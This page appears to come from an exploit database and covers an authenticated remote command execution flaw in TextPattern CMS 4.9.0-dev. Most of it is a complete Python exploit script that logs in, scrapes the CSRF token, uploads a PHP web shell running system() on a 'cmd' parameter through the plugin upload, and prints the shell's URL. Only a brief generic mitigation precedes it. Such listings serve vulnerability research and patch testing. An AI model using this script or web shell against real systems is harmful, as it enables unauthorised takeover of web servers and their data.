header-logo
Suggest Exploit
vendor:
TextPattern CMS
by:
Mevlüt Akçam
9,8
CVSS
HIGH
Remote Command Execution (RCE)
78
CWE
Product Name: TextPattern CMS
Affected Version From: 4.9.0-dev
Affected Version To: 4.9.0-dev
Patch Exists: YES
Related CWE: N/A
CPE: a:textpattern:textpattern:4.9.0-dev
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Ubuntu 20.04.1
2021

TextPattern CMS 4.9.0-dev – Remote Command Execution (RCE) (Authenticated)

This exploit allows an authenticated user to execute arbitrary commands on the vulnerable TextPattern CMS 4.9.0-dev system. The exploit requires the user to have valid credentials to the system. The exploit uses the ‘theplugin’ parameter to upload a malicious PHP file which contains a form with a text field. The form is used to execute arbitrary commands on the system. The exploit was tested on Ubuntu 20.04.1.

Mitigation:

The user should ensure that the system is updated to the latest version of TextPattern CMS. The user should also ensure that the system is patched with the latest security updates.
Source

Exploit-DB raw data:

# Exploit Title: TextPattern CMS 4.9.0-dev - Remote Command Execution (RCE) (Authenticated)
# Date: 07/04/2021
# Exploit Author: Mevlüt Akçam
# Software Link: https://github.com/textpattern/textpattern
# Vendor Homepage: https://textpattern.com/
# Version: 4.9.0-dev
# Tested on: 20.04.1-Ubuntu

#!/usr/bin/python3


import requests
from bs4 import BeautifulSoup as bs4
import json
import string
import random
import argparse


# Colors
RED="\033[91m"
GREEN="\033[92m"
RESET="\033[0m"

parser = argparse.ArgumentParser()
parser.add_argument('-t', '--url', required=True, action='store', help='Target url')
parser.add_argument('-u', '--user', required=True, action='store', help='Username')
parser.add_argument('-p', '--password', required=True, action='store', help='Password')
args = parser.parse_args()

URL=args.url
uname=args.user
passwd=args.password

session=requests.Session()

def login(uname,passwd):
    data={'lang':'en','p_userid':uname,'p_password':passwd}
    r_login=session.post(URL+"/textpattern/index.php",data=data, verify=False)

    if r_login.status_code == 200:
        print(GREEN,f"[+] Login successful , your cookie : {session.cookies['txp_login']}",RESET)
    else:
        print(RED,f"[-] Login failed",RESET)
        exit()

def get_token():
    print(GREEN,f"[+] Getting token ",RESET)
    r_token=session.get(URL+"/textpattern/index.php?event=plugin")
    soup = bs4(r_token.text, 'html.parser')
    textpattern = soup.find_all("script")[2].string.replace("var textpattern = ", "")[:-1]
    textpattern = json.loads(textpattern)
    return textpattern['_txp_token']

def upload():
    file_name=''.join(random.choice(string.ascii_lowercase) for _ in range(10))
    file={
        'theplugin':(
            file_name+".php",
            """
            <html>
            <body>
            <form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
            <input type="TEXT" name="cmd" autofocus>
            <input type="SUBMIT" value="Execute">
            </form>
            <pre>
            <?php if(isset($_GET['cmd'])){system($_GET['cmd']);} ?>
            </pre>
            </body>
            </html>
            <!-- """+file_name+" -->"
        ),# The file_name is used to verify that the file has been uploaded.
        'install_new':(None,'Upload'),
        'event':(None,'plugin'),
        'step':(None,'plugin_upload'),
        '_txp_token':(None,get_token()),
    }

    r_upload=session.post(URL+"/textpattern/index.php",verify=False,files=file)

    if file_name in r_upload.text:
        print(GREEN,f"[+] Shell uploaded",RESET)
        print(GREEN,f"[+] Webshell url : {URL}/textpattern/tmp/{file_name}.php",RESET)
    else:
        print(RED,f"[-] Shell failed to load",RESET)
        print(RED,f"[-] Bye",RESET)
        exit()


if __name__=="__main__":
    login(uname,passwd)
    upload()
    print(GREEN,f"[+] Bye",RESET)